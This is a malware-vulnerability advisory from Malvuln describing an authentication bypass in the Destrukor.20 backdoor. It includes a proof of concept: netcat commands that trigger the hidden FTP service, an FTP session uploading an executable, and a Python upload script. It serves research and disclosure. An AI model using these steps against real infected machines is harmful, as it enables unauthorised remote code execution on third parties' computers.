Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Destrukor.20 Vulnerability: Authentication Bypass Description: The malware listens on TCP port 6969. However, after sending a specific cmd "rozmiar" the backdoor returns "moznasciagac" in Polish "you can download" and port 21 opens. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution. Family: Destrukor Type: PE32 MD5: c790749f851d48e66e7d59cc2e451956 Dropped files: sys32.exe Vuln ID: MVID-2022-0626 Disclosure: 07/30/2022 Exploit/PoC: C:\>nc64.exe 192.168.18.125 6969 rozmiar moznasciagac C:\>nc64.exe 192.168.18.125 21 220 ICS FTP Server ready. USER malvuln 331 Password required for malvuln. PASS malvuln 230 User malvuln logged in. SYST 215 UNIX Type: L8 Internet Component Suite CDUP \ 250 CWD command successful. "C:/" is current directory. MKD HATE 257 'C:\HATE': directory created. PASV 227 Entering Passive Mode (192,168,18,125,232,131). STOR DOOM.exe 150 Opening data connection for DOOM.exe. 226 File received ok from socket import * MALWARE_HOST="192.168.18.125" PORT=59523 DOOM="DOOM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).